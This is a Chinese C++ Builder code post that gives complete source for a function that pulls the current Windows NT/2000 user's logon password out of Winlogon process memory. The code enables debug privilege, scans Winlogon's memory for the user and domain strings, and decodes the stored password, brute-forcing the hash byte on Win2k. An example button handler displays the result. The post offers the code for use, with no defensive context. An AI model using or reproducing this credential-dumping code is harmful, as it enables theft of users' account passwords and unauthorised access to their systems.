本文所用的代码原创作者已不知.是ccrun的一个朋友磨刀老头提供给的,在此对作者表示感谢.经ccrun(老妖)在Win2k下试验成功.
// 获取WinNT/Win2k当前用户名和密码,调用以下函数即可: // bool GetPassword(String &strCurrDomain, String &strCurrUser, String &strCurrPwd) //--------------------------------------------------------------------------- typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; }UNICODE_STRING, *PUNICODE_STRING; typedef struct _QUERY_SYSTEM_INFORMATION { DWORD GrantedAccess; DWORD PID; WORD HandleType; WORD HandleId; DWORD Handle; }QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION; typedef struct _PROCESS_INFO_HEADER { DWORD Count; DWORD Unk04; DWORD Unk08; }PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER; typedef struct _PROCESS_INFO { DWORD LoadAddress; DWORD Size; DWORD Unk08; DWORD Enumerator; DWORD Unk10; char Name [0x108]; }PROCESS_INFO, *PPROCESS_INFO; typedef struct _ENCODED_PASSWORD_INFO { DWORD HashByte; DWORD Unk04; DWORD Unk08; DWORD Unk0C; FILETIME LoggedOn; DWORD Unk18; DWORD Unk1C; DWORD Unk20; DWORD Unk24; DWORD Unk28; UNICODE_STRING EncodedPassword; }ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;
typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD); typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD); typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID); typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID); typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING);
// Private Prototypes BOOL IsWinNT(void); BOOL IsWin2K(void); BOOL AddDebugPrivilege(void); DWORD FindWinLogon(void); BOOL LocatePasswordPageWinNT(DWORD, PDWORD); BOOL LocatePasswordPageWin2K(DWORD, PDWORD); void ReturnWinNTPwd(String &, String &, String &); void ReturnWin2kPwd(String &, String &, String &); bool GetPassword(String &, String &, String &);
// Global Variables PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation; PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer; PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation; PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer; PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;
DWORD dwPwdLen = 0; PVOID pvRealPwd = NULL; PVOID pvPwd = NULL; DWORD dwHashByte = 0; wchar_t wszUserName[0x400]; wchar_t wszUserDomain[0x400]; //--------------------------------------------------------------------------- bool GetPassword(String &strCurrDomain, String &strCurrUser, String &strCurrPwd) { if(!IsWinNT() && !IsWin2K()) { // 只适合于2000或者xp return false; } // Add debug privilege to PasswordReminder - // this is needed for the search for Winlogon. if(!AddDebugPrivilege()) { // 不能够添加debug特权 return false; } // debug特权已经成功加入到本程序 HINSTANCE hNtDll = LoadLibrary("NTDLL.DLL"); pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress(hNtDll,"NtQuerySystemInformation"); pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress(hNtDll,"RtlCreateQueryDebugBuffer"); pfnRtlQueryProcessDebugInformation =(PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress(hNtDll,"RtlQueryProcessDebugInformation"); pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress(hNtDll,"RtlDestroyQueryDebugBuffer"); pfnRtlRunDecodeUnicodeString =(PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress(hNtDll,"RtlRunDecodeUnicodeString"); // Locate WinLogon's PID - need debug privilege and admin rights. DWORD dwWinLogonPID = FindWinLogon (); if(!dwWinLogonPID) { // 找不到进程WinLogon 或者正在使用 NWGINA.DLL // 导致不能在内存中找到密码 FreeLibrary(hNtDll); return false; } // Format("主进程WinLogon的id是 %d (0x%8.8x).\n", // ARRAYOFCONST(((int)dwWinLogonPID, (int)dwWinLogonPID)))); // Set values to check memory block against. memset(wszUserName, 0, sizeof (wszUserName)); memset(wszUserDomain, 0, sizeof (wszUserDomain)); GetEnvironmentVariableW(L"USERNAME",wszUserName,0x400); GetEnvironmentVariableW(L"USERDOMAIN", wszUserDomain, 0x400);
// Locate the block of memory containing // the password in WinLogon's memory space. BOOL bFoundPasswordPage; //bFoundPasswordPage = FALSE; if(IsWin2K()) bFoundPasswordPage = LocatePasswordPageWin2K(dwWinLogonPID, &dwPwdLen); else bFoundPasswordPage = LocatePasswordPageWinNT(dwWinLogonPID, &dwPwdLen); if(bFoundPasswordPage) { if(dwPwdLen == 0) { // Format("登陆信息为: 域名:%S/密码:%S.\n", // ARRAYOFCONST((wszUserDomain, wszUserName)))); // 密码长度为空,系统没有密码 } else { // Format("找到了密码,长度为%d\n", ARRAYOFCONST(((int)dwPwdLen)))); // Decode the password string. if(IsWin2K()) ReturnWin2kPwd(strCurrDomain, strCurrUser, strCurrPwd); else ReturnWinNTPwd(strCurrDomain, strCurrUser, strCurrPwd); } } else { FreeLibrary(hNtDll); return false; }// 没有在内存中间找到密码 return true; } //--------------------------------------------------------------------------- BOOL IsWinNT(void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if(GetVersionEx(&OSVersionInfo)) return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT); else return (FALSE); } //--------------------------------------------------------------------------- BOOL IsWin2K(void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx(&OSVersionInfo)) return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) && (OSVersionInfo.dwMajorVersion == 5)); else return (FALSE); } //--------------------------------------------------------------------------- BOOL AddDebugPrivilege(void) { HANDLE Token; TOKEN_PRIVILEGES TokenPrivileges, PreviousState; DWORD ReturnLength = 0; if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token)) if(LookupPrivilegeValue(NULL, "SeDebugPrivilege", &TokenPrivileges.Privileges[0].Luid)) { TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; return (AdjustTokenPrivileges(Token, FALSE, &TokenPrivileges, sizeof (TOKEN_PRIVILEGES), &PreviousState, &ReturnLength)); } return (FALSE); } //--------------------------------------------------------------------------- // 本文是ccrun(老妖)的一个朋友提供的代码.有问题或建议请致信:info@ccrun.com // 欢迎光临C++ Builder 研究 http://www.ccrun.com //--------------------------------------------------------------------------- // Note that the following code eliminates the need // for PSAPI.DLL as part of the executable. DWORD FindWinLogon(void) { #define INITIAL_ALLOCATION 0x100 DWORD dwRc = 0; DWORD dwSizeNeeded = 0; PVOID pvInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, INITIAL_ALLOCATION); // Find how much memory is required. pfnNtQuerySystemInformation(0x10, pvInfo, INITIAL_ALLOCATION, &dwSizeNeeded); HeapFree(GetProcessHeap(), 0, pvInfo); // Now, allocate the proper amount of memory. pvInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSizeNeeded); DWORD dwSizeWritten = dwSizeNeeded; if(pfnNtQuerySystemInformation(0x10, pvInfo, dwSizeNeeded, &dwSizeWritten)) { HeapFree(GetProcessHeap(), 0, pvInfo); return (0); } DWORD dwNumHandles = dwSizeWritten / sizeof (QUERY_SYSTEM_INFORMATION); if(dwNumHandles == 0) { HeapFree(GetProcessHeap(), 0, pvInfo); return (0); } PQUERY_SYSTEM_INFORMATION QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) pvInfo; try { for(DWORD i=1; i<=dwNumHandles; i++) { // "5" is the value of a kernel object type process. if (QuerySystemInformationP->HandleType == 5) { PVOID pvDebugBuffer = pfnRtlCreateQueryDebugBuffer(0, 0); if(pfnRtlQueryProcessDebugInformation (QuerySystemInformationP->PID, 1, pvDebugBuffer) == 0) { PPROCESS_INFO_HEADER pihProcessInfoHeader = (PPROCESS_INFO_HEADER)((DWORD)pvDebugBuffer + 0x60); DWORD dwCount = pihProcessInfoHeader->Count; PPROCESS_INFO piProcessInfo = (PPROCESS_INFO) ((DWORD)pihProcessInfoHeader + sizeof (PROCESS_INFO_HEADER)); // Form1->Memo1->Lines->Add(piProcessInfo->Name); AnsiString strName = piProcessInfo->Name; // if(strstr((char *)UpCase(*piProcessInfo->Name), "WINLOGON") != 0) if(strName.UpperCase().Pos("WINLOGON") != 0) { DWORD dwTemp = (DWORD)piProcessInfo; for (DWORD j=0; j<dwCount; j++) { dwTemp += sizeof (PROCESS_INFO); piProcessInfo = (PPROCESS_INFO)dwTemp; strName = piProcessInfo->Name; if(strName.UpperCase().Pos("NWGINA") !=0 ) return (0); if(strName.UpperCase().Pos("MSGINA") !=0 ) dwRc =QuerySystemInformationP->PID; } if(pvDebugBuffer) pfnRtlDestroyQueryDebugBuffer(pvDebugBuffer); HeapFree(GetProcessHeap(), 0, pvInfo); return (dwRc); } } if (pvDebugBuffer) pfnRtlDestroyQueryDebugBuffer(pvDebugBuffer); } DWORD dwTemp = (DWORD)QuerySystemInformationP; dwTemp += sizeof(QUERY_SYSTEM_INFORMATION); QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION)dwTemp; } } catch(...) {} HeapFree(GetProcessHeap(), 0, pvInfo); return (dwRc); } //--------------------------------------------------------------------------- BOOL LocatePasswordPageWinNT(DWORD dwWinLogonPID, PDWORD pdwPwdLen) { #define USER_DOMAIN_OFFSET_WINNT 0x200 #define USER_PASSWORD_OFFSET_WINNT 0x400 BOOL bRc = FALSE; HANDLE hWinLogonHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwWinLogonPID); if(!hWinLogonHandle) return (bRc); *pdwPwdLen = 0; SYSTEM_INFO siSystemInfo; GetSystemInfo(&siSystemInfo); DWORD dwPEB = 0x7ffdf000; DWORD dwBytesCopied = 0; PVOID pvEBP = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, siSystemInfo.dwPageSize); if(!ReadProcessMemory(hWinLogonHandle, (PVOID)dwPEB, pvEBP, siSystemInfo.dwPageSize, &dwBytesCopied)) { CloseHandle(hWinLogonHandle); return (bRc); } // Grab the value of the 2nd DWORD in the TEB. PDWORD pdwWinLogonHeap = (PDWORD)((DWORD)pvEBP + (6 * sizeof (DWORD))); MEMORY_BASIC_INFORMATION mbiMemoryBasicInfor; if(VirtualQueryEx(hWinLogonHandle, (PVOID) *pdwWinLogonHeap, &mbiMemoryBasicInfor, sizeof(MEMORY_BASIC_INFORMATION))) if(((mbiMemoryBasicInfor.State & MEM_COMMIT) == MEM_COMMIT) && ((mbiMemoryBasicInfor.Protect & PAGE_GUARD) == 0)) { PVOID pvWinLogonMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, mbiMemoryBasicInfor.RegionSize); if(ReadProcessMemory(hWinLogonHandle, (PVOID)*pdwWinLogonHeap, pvWinLogonMem, mbiMemoryBasicInfor.RegionSize, &dwBytesCopied)) { DWORD i = (DWORD)pvWinLogonMem; DWORD dwUserNamePos = 0; // The order in memory is wszUserName followed by the wszUserDomain. do { if((wcscmp(wszUserName, (wchar_t *)i) == 0) && (wcscmp(wszUserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0)) { dwUserNamePos = i; break; } i += 2; }while(i < (DWORD)pvWinLogonMem + mbiMemoryBasicInfor.RegionSize); if(dwUserNamePos) { PENCODED_PASSWORD_INFO pepiEncodedPwdInfo = (PENCODED_PASSWORD_INFO)((DWORD)dwUserNamePos + USER_PASSWORD_OFFSET_WINNT); FILETIME ftLocalFileTime; SYSTEMTIME stSystemTime; if(FileTimeToLocalFileTime(&pepiEncodedPwdInfo->LoggedOn, &ftLocalFileTime)) if(FileTimeToSystemTime(&ftLocalFileTime, &stSystemTime)) {} // Format("你的登陆时间为: %d/%d/%d %d:%d:%d\n", // ARRAYOFCONST((stSystemTime.wMonth, stSystemTime.wDay, // stSystemTime.wYear, stSystemTime.wHour, // stSystemTime.wMinute, stSystemTime.wSecond)))); *pdwPwdLen = (pepiEncodedPwdInfo->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t); dwHashByte = (pepiEncodedPwdInfo->EncodedPassword.Length & 0xff00) >> 8; pvRealPwd = (PVOID)(*pdwWinLogonHeap + (dwUserNamePos - (DWORD)pvWinLogonMem) + USER_PASSWORD_OFFSET_WINNT + 0x34); pvPwd = (PVOID)((PBYTE)(dwUserNamePos + USER_PASSWORD_OFFSET_WINNT + 0x34)); bRc = TRUE; } } } HeapFree(GetProcessHeap(), 0, pvEBP); CloseHandle(hWinLogonHandle); return (bRc); } //--------------------------------------------------------------------------- BOOL LocatePasswordPageWin2K(DWORD dwWinLogonPID, PDWORD pdwPwdLen) { #define USER_DOMAIN_OFFSET_WIN2K 0x400 #define USER_PASSWORD_OFFSET_WIN2K 0x800 HANDLE hWinLogonHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwWinLogonPID); if(hWinLogonHandle == 0) return (FALSE); *pdwPwdLen = 0; SYSTEM_INFO siSystemInfo; GetSystemInfo(&siSystemInfo); DWORD i = (DWORD)siSystemInfo.lpMinimumApplicationAddress; DWORD dwMaxMemory = (DWORD) siSystemInfo.lpMaximumApplicationAddress; DWORD dwIncrement = siSystemInfo.dwPageSize; MEMORY_BASIC_INFORMATION mbiMemoryBasicInfor; while(i < dwMaxMemory) { if(VirtualQueryEx(hWinLogonHandle, (PVOID)i, &mbiMemoryBasicInfor, sizeof (MEMORY_BASIC_INFORMATION))) { dwIncrement = mbiMemoryBasicInfor.RegionSize; if (((mbiMemoryBasicInfor.State & MEM_COMMIT) == MEM_COMMIT) && ((mbiMemoryBasicInfor.Protect & PAGE_GUARD) == 0)) { PVOID pvRealStartingAddress = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, mbiMemoryBasicInfor.RegionSize); DWORD dwBytesCopied = 0; if(ReadProcessMemory(hWinLogonHandle, (PVOID)i, pvRealStartingAddress, mbiMemoryBasicInfor.RegionSize, &dwBytesCopied)) { if((wcscmp((wchar_t *)pvRealStartingAddress, wszUserName) == 0) && (wcscmp((wchar_t *)((DWORD)pvRealStartingAddress + USER_DOMAIN_OFFSET_WIN2K), wszUserDomain) == 0)) { pvRealPwd = (PVOID)(i + USER_PASSWORD_OFFSET_WIN2K); pvPwd = (PVOID)((DWORD)pvRealStartingAddress + USER_PASSWORD_OFFSET_WIN2K); // Calculate the length of encoded unicode string. PBYTE pbTemp = (PBYTE)pvPwd; DWORD dwLoc = (DWORD)pbTemp; DWORD dwLen = 0; if((*pbTemp == 0) && (*(PBYTE)((DWORD)pbTemp + 1) == 0)) {} else do { dwLen++; dwLoc += 2; pbTemp = (PBYTE) dwLoc; }while(*pbTemp != 0); *pdwPwdLen = dwLen; CloseHandle(hWinLogonHandle); return (TRUE); } } HeapFree(GetProcessHeap(), 0, pvRealStartingAddress); } } else dwIncrement = siSystemInfo.dwPageSize; // Move to next memory block. i += dwIncrement; } CloseHandle(hWinLogonHandle); return (FALSE); } //--------------------------------------------------------------------------- void ReturnWinNTPwd(String &strCurrDomain, String &strCurrUser, String &strCurrPwd) { UNICODE_STRING usEncodedString; usEncodedString.Length = (WORD)dwPwdLen * sizeof(wchar_t); usEncodedString.MaximumLength = ((WORD)dwPwdLen * sizeof (wchar_t)) + sizeof(wchar_t); usEncodedString.Buffer = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, usEncodedString.MaximumLength); CopyMemory(usEncodedString.Buffer, pvPwd, dwPwdLen * sizeof(wchar_t)); // Finally - decode the password. // Note that only one call is required since the hash-byte // was part of the orginally encoded string. pfnRtlRunDecodeUnicodeString((BYTE)dwHashByte, &usEncodedString); strCurrDomain = String(wszUserDomain); strCurrUser = String(wszUserName); strCurrPwd = AnsiString(usEncodedString.Buffer); // Format("你的登陆信息是 域名:%S 用户名:%S 密码:%S\n", // ARRAYOFCONST((wszUserDomain, wszUserName, usEncodedString.Buffer)))); // Format("The hash byte is: 0x%2.2x.\n", ARRAYOFCONST(((int)dwHashByte)))); HeapFree(GetProcessHeap(), 0, usEncodedString.Buffer); } //--------------------------------------------------------------------------- void ReturnWin2kPwd(String &strCurrDomain, String &strCurrUser, String &strCurrPwd) { // DWORD dwHash = 0; UNICODE_STRING usEncodedString; usEncodedString.Length = (USHORT)dwPwdLen * sizeof(wchar_t); usEncodedString.MaximumLength = ((USHORT)dwPwdLen * sizeof(wchar_t)) + sizeof(wchar_t); usEncodedString.Buffer = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, usEncodedString.MaximumLength); // This is a brute force technique since the hash-byte // is not stored as part of the encoded string - :>(. for(DWORD i=0; i<=0xff; i++) { CopyMemory(usEncodedString.Buffer, pvPwd, dwPwdLen * sizeof (wchar_t)); // Finally - try to decode the password. pfnRtlRunDecodeUnicodeString((BYTE)i, &usEncodedString); // Check for a viewable password. PBYTE pbTemp = (PBYTE)usEncodedString.Buffer; BOOL bViewable = TRUE; DWORD j, k; for(j=0; (j<dwPwdLen) && bViewable; j++) { if((*pbTemp) && (*(PBYTE)(DWORD(pbTemp) + 1) == 0)) { if(*pbTemp < 0x20) bViewable = FALSE; if(*pbTemp > 0x7e) bViewable = FALSE; } else bViewable = FALSE; k = DWORD(pbTemp); k += 2; pbTemp = (PBYTE)k; } if(bViewable) { strCurrDomain = String(wszUserDomain); strCurrUser = String(wszUserName); strCurrPwd = String(usEncodedString.Buffer); // Format("你的登陆信息为: 域名:%S 用户名:%S 密码:%S\n", // ARRAYOFCONST((wszUserDomain, wszUserName, usEncodedString.Buffer)))); // Format("The hash byte is: 0x%2.2x.\n", ARRAYOFCONST(((int)i)))); } } HeapFree(GetProcessHeap(), 0, usEncodedString.Buffer); } //--------------------------------------------------------------------------- // 调用举例 void __fastcall TForm1::Button1Click(TObject *Sender) { String strCurrDomain, strCurrUser, strCurrPwd; GetPassword(strCurrDomain, strCurrUser, strCurrPwd); Memo1->Lines->Add(strCurrDomain); Memo1->Lines->Add(strCurrUser); Memo1->Lines->Add(strCurrPwd); }
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